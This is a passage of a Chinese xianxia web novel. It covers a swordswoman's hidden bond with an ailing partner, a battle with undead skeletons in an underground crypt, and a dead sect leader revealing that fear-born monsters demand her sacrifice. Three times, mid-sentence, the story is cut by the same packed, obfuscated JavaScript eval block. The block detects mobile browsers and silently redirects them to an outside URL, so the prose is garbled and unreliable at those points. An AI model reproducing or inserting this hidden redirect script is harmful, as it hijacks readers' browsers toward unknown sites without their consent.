叶杀快走几步,平静无波的脸上却浮现了几分激动之色。她跳下暗道,只见面前同样是一个非常狭窄的房间,但是四周墙壁镶嵌着夜明珠,柔和的光照亮了房内。 房间中央躺着一个人,双目紧闭,脸深深地陷在柔软的床榻之中,黑发如流水般倾泻在被褥上。 她走到床边,低头看他。即使在沉睡中,他的骨相也相当优越,几乎称得上雌雄莫辨。他此刻仿佛沉溺在甜蜜的梦乡中,面上浮现出安详的微笑。 叶杀看了片刻,才轻轻抚上他的脸,柔声道:“扶双。” 叶扶双慢慢睁开眼睛,眼里还带有刚刚醒过来的茫然,下意识蹭了蹭叶杀的手,道:“你回来了。” 叶杀扶着他,揽过他的腰,让他靠在自己的身上。掌心的身躯纤细羸弱,甚至能摸到骨骼。 她低头吻上颜色寡淡的嘴唇,一开始只是轻轻啄吻,后来却逐渐深入,唇舌纠缠搅动,直到叶扶双开始微微急促的喘息,才放开了他。 这下叶扶双完全清醒了过来,嘴唇红润耳根微红,眼神中充满了自然而然的依赖。 叶杀从袖中拿出一个瓷瓶,倒出一粒药丸,送到叶扶双的唇边。叶扶双张嘴含住,“咕咚”一声咽下,药丸在喉咙的滚动清晰可见。 叶杀摸了摸他的脸,道:“最近感觉怎么样?好些了么?” 叶扶双将头抵在她的肩膀,道:“没那么痛了,修为也在慢慢恢复。” 叶杀抚过他如绸缎般柔顺光滑的长发,道:“那就好。等我们把师父的仇报了,就去找一个没人的地方,只有我们两个人。” 叶扶双担忧道:“可是……江谈决已经是大乘期了,他还背靠池诸山,我担心……你杀不了他,反而被他所伤。可我如今这副身躯,却又帮不了你……” 叶杀笑道:“别担心,只要他现身,我就能杀他。”她亲昵地在叶扶双颊边落下一吻道:“你再睡一觉,等你醒来,便什么也结束了,好不好?” 两人距离极近,呼吸交错。半晌叶扶双轻轻嗯了一声,将脸深深埋入她的颈窝,双手紧紧抱着她的结实劲瘦的腰,而叶杀也立刻回抱了他,两人紧紧依偎在了一起。 这是一个非常温暖有力的怀抱,然而叶扶双的脸藏在阴影里的脸却有阴霾一点点浮现。 忽然叶杀察觉到了什么,手上一松,抬头向上方看去。 叶扶双问道:“怎么了?” 在遥远的地方传来响声,那是密道移动的声音,传到这里已经很轻微了,若非叶杀已经是大乘境,恐怕也无法察觉。 她想起谢济微,不禁略微诧异,站起来道:“一点小事,我去处理一下,很快回来。” 她很快离开了这处房间,只留叶扶双还坐在原地,怔怔地望着她消失的地方。 谢济微在她走后并没有留在站在原地,而是拿起油灯,沿着四周走了一圈,最后在一个角落停下。 她在墙上摸索了几下,用指节轻轻敲了一下,随即墙壁无声向内凹陷,形成了一条小道。 小道漆黑暗沉,透不进一丝光线,就连油灯也只能照亮脚下。然而谢济微没有半分迟疑,抬脚便提灯走了进去。 密道里寂静无比,连脚步声也清晰可闻。不知走了多久,忽然一阵阴风吹过,将油灯吹熄了。 四周顷刻变得死寂,谢济微停住脚步,静静站在原地。片刻后一星光点忽然出现在她面前,闪烁了几下后,向前方飞去。 原来不知何时她已经走到了岔路口,那个光点飞进了其中一个岔道,见她还在原地,便停住,又闪烁了几下,似在催促。 谢济微忽然微微笑了起来,跟上了光点。那个光点似乎很高兴,在她的颊边蹭了蹭,竟然分裂出了更多的光点,亲昵地绕着她打转,随后一齐向前飞去。 光点越裂越多,到最后将整个密道都照得恍如白昼,而谢济微穿行在光流之中,竟觉得自己仿佛行走在银河之间。 那样的场景太过熟悉,几乎是瞬间便令她想起多年前的一桩往事。 “我没有疑问,”傅寒川笑吟吟道:“悉听师姐尊便。” 他将谢济微的头发拢到耳后,看了她一会,又忍不住凑过去轻轻含住她的唇瓣。 很快两人唇舌纠缠,呼吸开始微微急促。谢济微按住他的后脑,让这个吻变得更深。 ——那是许多年以前的事了,那时她们的生活非常幸福安定,命运的獠牙还藏在时间深处,即使偶有小小的危机,也很快被解决了。 良久两人终于分开,只是青丝还缠在一起。傅寒川额头抵着她的额头,轻声道:“什么时候出发?” “给师叔留个信,我们就出发。”谢济微道,手指没入傅寒川的长发中,慢慢理顺:“如果顺利的话,很快就能解决。” 傅寒川拿起旁边的玉簪,挽起她的头发,为她梳了一个简单的发髻,忽然一顿,转头看向门外。 “江师叔来了。”谢济微道,她从傅寒川温暖的怀抱中离开,起身走到门外。 傅寒川没有动,用视线仔细描摹着她的背影,等门外传来交谈声,才懒洋洋地站起来,走过去。 站在门外的人正是崇霄仙君江谈决,池诸山掌门以及封荣仙君的小师弟,也是谢傅二人的师叔。掌门闭关,封荣仙君云游在外,于是一应事务都由他处理。 “……此事虽不太严重,但此前从未出现过,你二人前去,务必谨慎对待。”江谈决关切道。 “是。”谢济微道。 江谈决一笑,又道:“是我多虑了。你做事一向周全,从未出过纰漏。既然如此,便早去早回,也好看看后续如何安排。” 谢济微道:“我和寒川准备今日动身,往后几日都需师叔独自照看宗门,倘若宗门有异,师叔可传信于我,我二人便立刻回来。” 江谈决笑道:“区区几日,能出什么问题?你师叔也解决得了。去吧去吧!” 于是两人向他行过礼,便御剑出发了。 那时谢济微已是化神境圆满,距离洞虚只有一步之遥,而傅寒川不久前从元婴突破到化神,因此两人御剑称得上风驰电掣,几个时辰后便来到了事发地。 那是一个小土坡,几个月前被几个修士发现里面时而传出诡异的声音,然而仔细探查,却一无所获,几天后反而神智失常,像中了魇术一般。 所幸一位医修及时发现,唤醒他们,然而他们醒来之后却完全忘记发生了什么,又下意识地畏惧事发的地方,只好向外求助,最终求到池诸山上。 宗门长老轻易不外出,而谢傅两人均出类拔萃,同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313360|167312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辈人无论是修为、心性都无出其右,因此便派两人前去处理此事。 两人落到土坡上,环视一圈,只见四周空无一物,似乎毫无异常。 谢济微沉思片刻,忽而俯身,指尖在地上轻轻一抹,翻掌一看,指上却没有沾染丝毫尘土。 两人对视一眼,谢济微站起来道:“用‘戮恶’试一下。” 傅寒川点头,抽出佩剑,将剑插入土中。一开始并没有任何反应,片刻后却听土下传来一阵沉闷的、令人牙酸的咯吱声,随即一个东西破土而出,抓住了剑身! 两人定睛一看,只见那是一只人的手,手上的皮肉却完全剥落,只留森森白骨。 那只手的下边还藏在土里,它紧紧抓住剑身,将自己剩下的部分连根从土下拔起。 尘土飞扬,只见一具骷髅骨架从地上爬起来,脸部狰狞异常,仔细看去,竟然会觉得邪恶恶心,有头晕目眩之感。 然而在场的两个活人,一个常年与至邪之剑相伴,一个有至正之剑作为本命剑,皆是百毒不侵,自然不受影响。 傅寒川面色如常,横剑将白骨一削为二。白骨上半身轰然倒地,手掌数次撑地想爬起来,最终却只能颓然倒下,手指抽搐几下,没了气息。 谢济微走过去,正想仔细一看,却见白骨瞬间崩塌,化为骨灰,散落一地。而更深处的地下,隐约传来了模糊的声响。 谢济微忽而抬手结阵,阵法结成之时,只见白骨爬出来的地方一声闷响,洞开了一条暗道。 那条暗道倾斜向下,尽头隐没在黑暗之中。 两人均是化神修士,都已经炼出神魂,可以通过神魂来感知周围动静。此刻两人的神识中皆空空如也,除了对方之外,再没有其他东西。 谢济微抽出长剑,回头看了傅寒川,略微一点头,便跳下暗道之中,傅寒川紧跟着也跳下来。 暗道狭窄,只容一人通过,两人一前一后径直向下走去,不知过了多久,前方陡然变宽,终于来到了底部。 然而就在此刻,两人忽而听见身后锐利刺耳的破空声,谢济微停住不动,而傅寒川旋身扬剑,挡住身后不知从何处冲出来的白骨,退后一步,紧贴着谢济微的后背。 就在那短短一瞬间,四周不断从地下爬出来森森白骨,将两人层层包围。 这些白骨显然比之前那一只要强上不少,那只不过相当于修士筑基水平,这一些却基本在金丹之上。 ——并且它们似乎有某些特殊之处。谢济微一边逼退冲上前来的白骨,余光扫过身后的傅寒川。这些白骨对他基本毫无威胁,然而它们似乎毫无痛觉,即使砍断手脚,也仍然前仆后继地扑上来。只有斩断头颅才会使它们停滞片刻,但也不过片刻而已。 她在腰间一抹,手上出现一张黄纸符箓,符上朱砂笔走龙蛇,她一扬手,符箓便轻飘飘飞出去,落到了一个白骨的头上。 白骨茫然抬头,还没摸到头上的东西,那张符箓便原地自燃起来,随即轰然炸开! 这一下的爆炸将周围的白骨尽数化为灰土,气劲未收,将远处的白骨也狠狠撞到墙上。而谢济微左手掐诀,将傅寒川护在身后。 然而这根本阻止不了白骨,地上的骨灰迅速聚拢,又凝聚成人形,仿佛毫无畏惧般如雨后春笋般爬起来,不过片刻,又将两人团团围住。 傅寒川微微喘息,他刚到化神境不久,神魂尚且不算牢固,这样使用灵力已经略微吃力了。 “师姐,灵力无法完全摧毁它们,‘戮恶’也只能短暂压制它们,”他环视一圈,神色沉静道:“可否用‘破厄''一试?” 14. 抱朴 谢济微还没有回答,她手上的长剑却骤然嗡鸣起来,剑身光华流转,似乎有灵性般回应着傅寒川。 自从被谢济微带出剑冢之后,这把剑其实一直受到压制。虽然谢济微不受它的影响,其他人心性却不如她坚定纯粹,因此她常常内敛它的邪气,以免别人受其所扰。 “破厄”虽与谢济微心意相通,明白她的顾虑,然而这种约束总归不太痛快。此刻一有机会完全释放,不禁兴奋地催促谢济微。 谢济微一笑,指尖在剑身轻抚而过,随即神情一肃,身周外放的灵力一瞬间尽数收回。 傅寒川还没有见过谢济微完全使用“破厄”,见状不禁一凛,全神贯注地看着她。 那一刻空气中极其安静,就连白骨也似乎察觉到危险气息,纷纷踌躇不前。 谢济微轻轻闭上眼睛,纤长浓密如鸦羽般的睫毛遮住了眸中神色,然而她的袍袖却无风自动,翻飞的衣袂下长剑骤然发出可怖的铮鸣声,听不见的声波呼啸而过,几乎是瞬间压碎了离得近的白骨,然而白骨群中却传来一声扭曲的怒吼,完全不像人发出来的声音,却令剩下的白骨骷髅眼眶中燃起一星火光,像被激怒般向着谢济微疾奔而来! 谢济微睁开眼睛,瞳孔深处冰冷无比。在那一瞬间,傅寒川只觉得身前站着的不是一个人,而是一柄刚刚出鞘、杀意凛冽的剑。 ——那是“人剑合一”,在这个状态下她与剑融为一体,只见她的身影穿梭在白骨之中,所到之处白骨如冰雪消融般灰飞烟灭,惨叫声不绝于耳。 谢济微落在不远处,长剑斜指,剑尖泛着一点嗜血的光。而她的脸上毫无半分神情,眼神中杀意迸现,一如她手中的长剑。 若说白骨面容狰狞,形态恐怖,是一种令人恶心的恐惧,那么此刻的谢济微却是另外一种由残酷杀戮而组成的、极具压迫的恐惧,与她以往对敌所展现出来的状态截然不同。 而傅寒川从她出剑的那一刻,心神便牢牢牵挂在她身上,此时只觉得心如擂鼓,激动非常。 这一击之下,白骨却没有再复生了。谢济微的脸柔和下来,抬头看见牢牢盯着她的傅寒川,不禁微微一笑。 她身上杀意未消,那一笑便如冰消雪融般,看得傅寒川心头一颤,正想走到她身边,忽然听到从地底深处传上来一声沉闷的响声。 两人均是一怔,又听“当——”的一声,这下更为清晰,宛如惊雷般在耳边炸响。 两人还没反应过来,只是那一瞬间,便见地下骤然裂开一道缝,随即裂缝两侧迅速向下方坍塌! 谢济微神色微变,然而刚才那声钟声还回荡在脑海中,几乎让她脑中一片空白,无法运转丝毫灵力,一眨眼的时间,傅寒川便随着塌陷的土地消失在了她的视线中。 而她这边的地面也在飞速往下坠落,她勉力站稳,一边在神识中催动道侣契。很快契印的另一边传来回应,她才稍微安心,开始观察四周。 只见周围漆黑一片,脚边堆着几节白骨,泛着幽微的磷光。 她扫了一眼脚边,忽而听到黑暗深处依稀传来几声呓语: “……在这里……” “……快过来……” 她向声源望去,却看不见任何东西,就连神魂也感知不到,被一层屏障牢牢挡住。 白骨上的磷光闪烁了几下,忽而飘到半空中,向声音的源头摇摇晃晃地飞了过去。 “快来……我们……等你……” 那声音更为急促了,虽然非常陌生,然而谢济微却听不出丝毫恶意,反而有某种急切的渴望。她握紧手中的剑,快步跟了上去。 不知走了多久,磷光停住了。它在原地转了几圈,便消散在了空中,随即一声“吱呀”,在谢济微身前一扇门缓缓向内打开,里面的光顿时泄出,照亮了四周。 只见门内大殿穹顶高耸,从上至下,竟然摆满了密密麻麻的牌位。 谢济微心中悚然,脚下放慢,警惕地走进了门内。 还没走几步,却见殿中心金光浮动,顷刻间凝成了一个人形。 那人宽袍广袖,面容含笑,正温和地看着谢济微。 谢济微只觉得那人依稀有点熟悉,却不记得曾在何处见过她,再仔细一看,惊道:“师祖?!” 在池诸山的藏书阁中,她曾经偶然翻阅过前几代掌门的记载,也顺便看过他们的画像。其中一位掌门生于修真界鼎盛时期,风云变幻群英荟萃,能人异士接而现世,但即使在天才辈出的时代,这位掌门也屹立于修真界之巅,力压一众大能。 正因她的生平太过传奇,谢济微便对她相当印象深刻。而此刻站在她面前的人,竟和那位掌门有十成十的相似。 那人欣慰地点了点头,道:“没想到那么多年,还能见到我的门人。看来池诸山的传承没断在我那徒儿手上啊。” “我们没有太多时间了,”一旁忽然传来一道声音,谢济微看过去,却只见一座座牌位,“尽快把所有事情告诉她。” 掌门抬手想要轻轻抚摸她的脸,手却从她的脸颊边穿过。谢济微只感觉有一阵凉风从她脸旁吹过,原来掌门只是一道灵体。 掌门遗憾地一笑,随即正色道:“我们很多年前就见过,不知你还记得吗?” 她将手虚虚放在谢济微的肩膀上,那一瞬间谢济微只觉得身体仿佛被什么东西贯穿,灵魂被强迫逼出体外,而她在半空中,看着自己缓慢抬起手,指间灵光闪烁,隐约有一柄长剑逐渐成形! 但不过片刻,她便重新夺回了身体操控权,神魂回到体内,而那柄长剑也消散在了空中。 只是短短一瞬间,她已经全然明白了。多年前她曾于梦中来到走火入魔、怨念缠身的段箫身前,梦斩邪魔;如今想来,那恐怕不是梦,而是她的魂魄被迫离体,游离于身体之外,目睹了掌门借她的身体来除魔。 谢济微眼神剧烈变化,而掌门微笑着叹息道:“那一次情况太紧急了,我们不得已,才强行让你去除魔。在那以后,你便一直寻找我们和它们的踪迹……” 谢济微颤声道:“原来……原来那些东西,是你们留下的么?” 掌门温和道:“是的,从你第一次进入藏书阁,寻找有关邪魔的记载——那时候你应该还不知道‘它们’究竟是什么——所找到的书籍,都是我们为你特意准备的。” 谢济微一时只觉得脑里翻江倒海,过往一切的蛛丝马迹尽数浮现。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313361|167312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自从她在“梦中”见到那个肖似段箫,却又与段箫迥然不同的人影时,便无法忘怀,时时想起那天的事。然而正逢师尊闭关,她只能到藏书阁中,试图寻找相关的记载。 池诸山传承千载,藏书浩如烟海,几乎将有史以来修真界大小事宜都记录在内。然而在她将所有有关书籍都翻阅过一遍后,却发现竟然没有一件和段箫相似的案例。 难道那么奇特的事,是第一次发生? 这似乎是当时唯一合理的解释了,但是谢济微仍然觉得有某种说不出来的诡异。正当她打算离去,再寻方法之时,却在书阁角落处看到了一本小册子。 若是平常的书籍,必然不会引起她的注意;然而藏书阁内的书都打上了灵力印记,方便弟子查阅整理,这本书却没有,在身边一众散发着五颜六色的书籍中相当显眼。 她快步走到那本书册旁边,将它抽出来,只见封面与其他书籍毫无差别,上面介绍它记载了九百年前左右的历史。 她想翻开查看,却不知为何停在了扉页,迟迟没有往下翻,手指悬停在书角,仔细看去,竟然有些微微颤抖。 正在这时,忽然有一个人走过来,惊喜道:“小师叔!” 谢济微将书按下,抬头看去。她的动作其实有点大了,但是来人没有发现,笑嘻嘻地道:“小师叔,几日没见你,原来在藏书阁中。” 来人比谢济微小了一辈,却比她大了不少,因此总是不正儿八经地叫她师叔,而是小师叔。谢济微绷紧的后背稍微放松,只见那人一瞥她手上的书,疑惑道:“咦,这本书怎么还在呢?” 谢济微道:“你看过这本书?” 那人道:“之前看这本书没有标志,便随便看了几页。本来想把它交给轮值弟子,后来却忘了。过了那么久都没人发现,轮值弟子真是失职啊。正巧这次让我碰见了,便顺便把它带出去吧,也算弥补我上次的疏漏。” 说罢他伸手欲拿,谢济微心念电转,将手往回一缩,问道:“你还记得这里面讲什么么?” 那人想了想,道:“好像是一些几百年的事件记载?不过不是很全,缺失了很多,还不如另外一本。如果全一点,我当时就把它重新标记进阁里了。” 眼看他还想再拿,谢济微抢先道:“我来罢,我与这个月的轮值弟子正好约了一次切磋,到时我交给他。” 那人不疑有他,毕竟谢济微虽然年幼,然而天资绝佳,备受一众长老的器重,断不可能在这种小事撒谎。于是他道:“好,那便麻烦小师叔了。正巧我这个月要下山游历,也省了我再去找他。” 谢济微道:“你突破到金丹了?还没恭喜你。” 池诸山规定,弟子从入门开始,未结丹者不能下山,而突破筑基、进入金丹境,便要择日下山历练。 那人笑道:“正是!前几天的事,才刚突破,师父便要我立刻下山修行。你好好修炼,肯定很快就结丹了。到时我带你到山下玩,你那么小就被带回山里,一定没去凡间玩过。” 两人又闲聊了几句,那人便走了。 谢济微看着他离去的身影,脸上神色一点一点消失。她看向手边的书册,半晌后终于将它收进储物囊中。 15. 前尘 那天从藏书阁回到居所之后,她将门仔细关好,在桌前重新拿出了那本书册。 不知为何,手上这本册子对她竟然有某种说不出的吸引力,让她无论如何也要把它留下。但是当她真的准备翻开它时,却总有种踌躇的感觉。 即使她当时不过筑基,这种犹豫其实也是很罕见的。她很快意识到了自己的迟疑,心想:“倘若现在不看,便能当它不存在么?”便深吸一口气,翻开了书册。 只见第一页记载的便是一件异事,当时在一个村庄中,一月之内横死数人,死法各不相同,最先是一人晨起洗脸,却溺死在盛水的盆中;然后是另外一人吃饭时被噎住,忽然将木筷使劲往喉咙里塞,等别人好不容易拉住他,却发现人已经噎死了;还有一人走路时忽然摔跤,倒地迟迟不起,待别人把他拉起来的时候,人已经断气了,只见一块石头从他的额头插入,几乎快将他的头部贯穿。 看到这里,谢济微心道:“这些死法都不寻常,哪怕出现一例,也足够奇怪了,更谈何那么短时间内出现如此多例?不过凡人查案,恐怕查不出缘由。”于是她继续看下去,果然衙门前来查案,却查不出端倪,怀疑是鬼神作祟,便向修士求助。 修士前来查看,发现原来这个村庄不久之前有人在争执中被殴打至死,死状惨烈,留下的怨念作祟,停留在他生前经过的地方,操控物件连杀数人,修士于是便将整个村庄都净化了一遍。 这件事到这里便结束了,谢济微心想:“如果是怨念作祟,还算合理。不过怨气若是强大到这种地步,里面的人也应该神智不清了。”她向后继续翻看,后面却没有什么异常的事,都平平无奇。 她将书合上,沉思间忽然觉得手中书有些异常。她练剑多年,换过无数把剑,对于手中剑的重量极其敏锐,此刻手中的书略微沉了几分,那可能不过几页的厚度,她却立刻察觉到了。 她再次将书翻开,凭着记忆,果然找到了先前没有见过的书页。在那页之前,正好是第一桩事结束,此时却增加了几行,只见上面写着:“……觉得过于蹊跷,再度潜入探查,竟然是活人作案……” 原来先前惨死的人遗愿未了,怨气迟迟徘徊在死前的地方,不巧有人误入,便被怨念缠身。 然而那人并没有察觉,言行举止也与往常别无二样,只是等别人落单时,就会被怨念侵蚀,下手杀害。他被操控时,行踪诡异莫测,竟然没有被任何人发现,才造成惨案,还被认为是鬼怪显灵。 调查的修士觉出不对,再细细探查,才发现怨气从他们来后,便一直躲在那人体内,恐怕等他们一走,又会出来杀人。修士发现后,便重新为被寄生的人清除怨念,这样才算完全解决了。 在这一段字之后,却还有一行小字:“此事切记不可与他人提起,否则恐有灭顶之灾。” 谢济微心想:“修真界一贯认为怨气由人产生,怨气一多,便会影响到周边的人和事物,却无法侵入到人体内,更不用说操控人。倘若这件事属实,那确实非同小可,应当立即告知宗门长辈,再向天下公告。可是这书为何在此时才显出这一页来?先前难道没有人能看见么?” 尽管疑问再多,她还是决定立即向长老禀明此事。 然而就在她来到长老面前,想说起这件事时,却发现喉舌仿佛被什么东西扼住,一句话也说不出来;拿出那本书时,却发现它不知何时已经变为一册空白。 不仅是对长老,对任何人,她都无法说出这本书上突然出现的内容。她方才明白,那行小字并不是告诫,而是告知。 这对于当时的谢济微来说,无疑是非常费解、甚至有些恐惧的,尽管这件事并没有对她产生什么实质的影响。 那样如同附骨之疽般微妙的恐惧一直陪伴她度过很长一段时间,直到她的修为有明显提升,这种束缚才稍微放松了一点。 她结丹之后,便按照宗门要求下山游历,却在凡间一个王室的藏书阁中发现了另外一本相似的书籍。 那本书同样记载着村庄发生的惨案,然而在它多出来的书页中,又增加了后续。 前去调查的修士为被侵蚀的人清除怨气后,便离去了。不久后他与友人同游,言谈间提起这一件事,又一起回到这里,却发现了惊愕的一幕: 原本宁静平和的村庄尸横遍野,黑色的血浸满了每一寸土地,仅剩的几个活人躲在犄角旮旯里,却也只是苟延残喘了。 修士大惊失色,连忙救起那几个人,然而他来得太晚了,只能眼睁睁看着最后几个人迅速衰竭死去。 临死之前那几人告诉他,他离开之后,村庄确实平静了一段时间。然而他驱邪的人却一直被暗地里排斥,尽管大家知道他是被寄生操控,私底下还是畏惧厌恶他。 这样的矛盾无声酝酿,直到最终爆发,先前被寄生的人再次下杀手,只是这一次,他不再潜伏在暗中,而是当着其他人的面杀人。这次所有人都知道他是如何动手了,然而他的力量变得非常恐怖,无人可挡,眨眼间就杀掉了几个人。 恐惧一瞬间蔓延到了整个村庄,所有人惊慌失措,却无法阻止他,一个接一个丧命在他手中。剩下几个人侥幸躲过一劫,然而多日不吃不喝,也在死亡边缘了。 而那人早在几日前便离开村庄,朝外面去了。 修士立即传信,让周边的修士都来抓人。所幸村庄地处偏远,那人走了那么久,还没有造成更大的伤亡。 抓到他时,那人神态自若,几乎看不出他杀了那么多人。然而先前为他驱邪的修士立即看出来,尽管面容相似,言谈举止间,那人已经和之前判若两人了。 他被侵蚀得相当严重,甚至可以称得上被夺舍了。这样的例子从未出现过,当时几乎所有没在闭关的大能都亲自前来查看,却发现他身上的怨气极其复杂,除了最早发现的、源自于一个惨死之人的怨气,还有数百人的怨念,其中最深重的,竟然来自他自己。 活人生怨,前所未有。于是便有一个大能施展搜魂之术,试图看清前因后果。这一看,却令他极为震惊:原来那人亲眼目睹过最先那人被活生生殴打致死,心中害怕,时时想起此事,午夜梦回时,也常被惊醒。 如此时日一长,他的神智也变得浑浑噩噩,整个人如同行尸走肉一般。直到有一天他猛然回过神来,发现自己手下竟然死死摁着一个人,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313362|167312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他整个脸都按在水下。惊慌失措下他松开手,却发现那人已经死了。 危急之时他却变得异常冷静,眼看四周无人,便将自己的痕迹都收拾干净,悄无声息地离开了。 在那以后他清醒的时间越来越少,偶尔几次醒来,都是目睹“自己”杀死另外一个人,为“他”掩藏行踪。其实一开始他的行为非常拙劣,然而随着死亡的人越来越多,引起的恐惧惊慌越强烈,他的力量也越来越强。 搜魂的大能低声道:“几乎像是……像是他从恐惧中获得力量一般。” 修士为他驱邪之后,他终于清醒了一段时间,然而随着众人异样的目光日益增长,那种相似的恐惧又出现了——只是这一次,他却在心中暗自期待另外一个“自己”的出现。 “他”很快回应了他的愿望,再次出现在了他的身上。只是这一次,他却被完全取代,永远失去了自己的意识。 回忆很快来到了结尾,搜魂的大能面色难看:“这根本不是怨气!——它是另外一种、另外一种——” 话还没说完,他却突然吐了一大口血出来! 众人纷纷色变,连忙为他调息疗伤。 过了许久他才缓过来,一字一句道:“这不是怨气,是一种前所未有的怪物。它由人心中的恐惧诞生,又从恐惧中攫取力量……刚刚我意识到这一点,心中稍有异动,就立刻被它发现了。——只要有一丝畏惧,便会被它抓住机会,趁虚而入……” 看到这里,即使外面烈阳高照,谢济微还是通体冰冷。她已经全然明白为什么这件事不能告诉任何人了,因为一旦被发现,就会造成难以预料的惨烈后果。 “我们一开始还想能否消灭它,”掌门怅然道:“然而只要是人,就会有软弱之处,哪怕是半步渡劫的修士,也不能避免。 “只要不恐惧,就不会有可趁之机。可是说起来容易,又有谁能完全抛却恐惧?尤其是当同伴一个接一个被侵蚀,不得不亲手将他们杀掉……当时我们一筹莫展,已经决定将这件事埋藏起来,等知道这件事的人全都死了,或许还能求得一线生机。”掌门喃喃道,神情变得迷茫。 她看向谢济微,忽而微微笑道:“所幸天道似乎也不想看到人彻底消亡于恐惧之中,于是让我们''看''到了你的存在。” 谢济微道:“我么?” “是,”掌门道:“你生来便尘缘断尽,游离于三界之外,无畏无惧,无欲无求,是天生的修仙奇才,也是唯一能够抵抗它们的人。我们无法得知你是谁,又会在什么时候出现,只能留下一道残魂,在时机成熟时,指引你探寻到往事。” “幸好在我们即将消散之前,你终于来了。”掌门的眼神突然变得锐利,仔细审视着谢济微:“我本以为你会孤身前来,却没想到你会与他人结下道侣契。你确实能够完全消灭它们,却无法阻挡它们源源不断地滋生。” 她的语调放缓,声音温柔,然而内容却残酷无比:“只有献祭和死亡,才能真正毁灭它的源头……这一点,我们已经验证过了。只是我们不如你,因此只能暂时抑制它。现在,轮到你了。生与死、爱与义,孰是孰非,想必你已经做好抉择了。” 16. 歧路无为 掌门的话消散在殿中,殿中一时寂静无比,落针可闻,甚至可以听到遥远上方传来隐约的脚步声。 谢济微没有回答,只是微微抬头,看向高耸的穹顶。空气中微尘缓慢地浮动,不知从何处落下来的光线透过它们,形成一条光路,落在了牌位上。牌位上镌刻的字将两人环绕起来,仿佛无数双静默的眼睛,无声地注视着她。 她的脸上看不出任何情绪,思绪却在那一瞬间飘出了很远。 ——血红夕阳沉沉压在远方壮丽华美的宫殿之上,余晖下铁甲戎装的士兵策马疾驰而过,宛如一柄尖刀般深深刺入王城之中。 为首的年轻将领勒马急停在层层台阶之下,台阶之上殿门大开,无数禁卫军如流水般倾泻而出,从四面八方向他包围而来,手中尖刀寒光锋锐。 千钧一发之际,将领却忽然遥遥向远方一望。然而从他的位置,只能看见连绵起伏的山脉,快要与漆黑的夜幕融为一体。 他收回目光,不甚在意地跳下马,大步走上台阶。他身后的人也纷纷下马,拔出武器,紧跟着他向殿门冲去。 晚风裹挟着金戈交鸣声和浓重的血腥味,一路送到了城外的山坡上,坡上谢济微持剑而立。 她将目光从王城中移开,重新看向自己面前。 只见数不清的白骨散落在她的脚下,残骸几乎覆盖了整片山坡。这一片白骨刚破土而出,便撞上了她,伤亡相当惨重。 然而在无穷无尽的攻击之下,她也受了伤,直到前一刻才稍微得以喘息。鲜血洇湿了她的衣袖,顺着剑柄滑过剑身,将长剑浸润得异常妖异。 就在血滴从剑尖滑落、滴在剑下白骨的那一刻,白骨忽然大张颌骨,爆发出一声尖锐的声音! 谢济微不禁侧目,只见白骨接触到鲜血的地方咝咝作响,随后仿佛被腐蚀般迅速消融,几秒后便融化在了原地。那滴血从半空中坠落,融在了土地之中,随即周围的白骨也像先前那一具一样,飞快地消失了。 同一时刻,遥远的王城内传来了悠扬的钟声,那应该是叛军成功攻入皇宫内,将皇帝斩首。 谢济微随手止住伤口,视线从面前的白骨一寸寸扫视而过,最终又落到了远处被最后一丝余晖照耀的王城上。 这是她第一次和书上所说的“怪物”亲自对上,那种摄人心魂的力量果然诡异,即使她常年与邪剑作伴,在见到它们的那一刻,也不免心神一晃。 所幸她很快反应过来,但它们源源不断地钻出来,几乎无穷无尽,直到现在,才终于停止爬出来。 传闻这里埋葬了一个被皇帝杀害的人,那人生前曾是皇帝的至交。他的恨意之深,即使在他死后那么多年,也足以滋养怪物。 只是现在怪物却不再生成,是因为她的血,还是因为怨念随着皇帝的死亡,而消散了? 当时她无法回答,也不能向任何人询问,只能将痕迹一点点抹去,再守着这个惊天的秘密。 而现在,过往的一切如走马观灯般一一浮现于她的眼前,在梦中瞥见的那个诡异人影、突如其来的书页、一滴滴渗进泥土的鲜血……此刻她终于能回答,——是她。 天道的馈赠一开始就标明了代价,从师尊惊叹于她的天资、将襁褓中的她带回池诸山,她却在梦中第一次看到邪魔;从她修行一日千里、被称为千载难逢的奇才,再到那些只有她能看见的书……都为她指向了一条唯一的路,一条如流星般绚烂而短暂的路。 谢济微轻声道:“是的……我明白。”她的脑海中道侣契愈发灼热,另一边的人急切地呼唤她,飞快向她奔来。 如天道所愿,她会走向那一条路。因为无论如何,她都无法为了自己的存活,而坐视其他人的死亡,即使她会失去一切,即使她会辜负一些人。 掌门慢慢笑起来,然而那笑却异常复杂:“那就好。千年根基,在此一役,剩下的,就靠你了。” 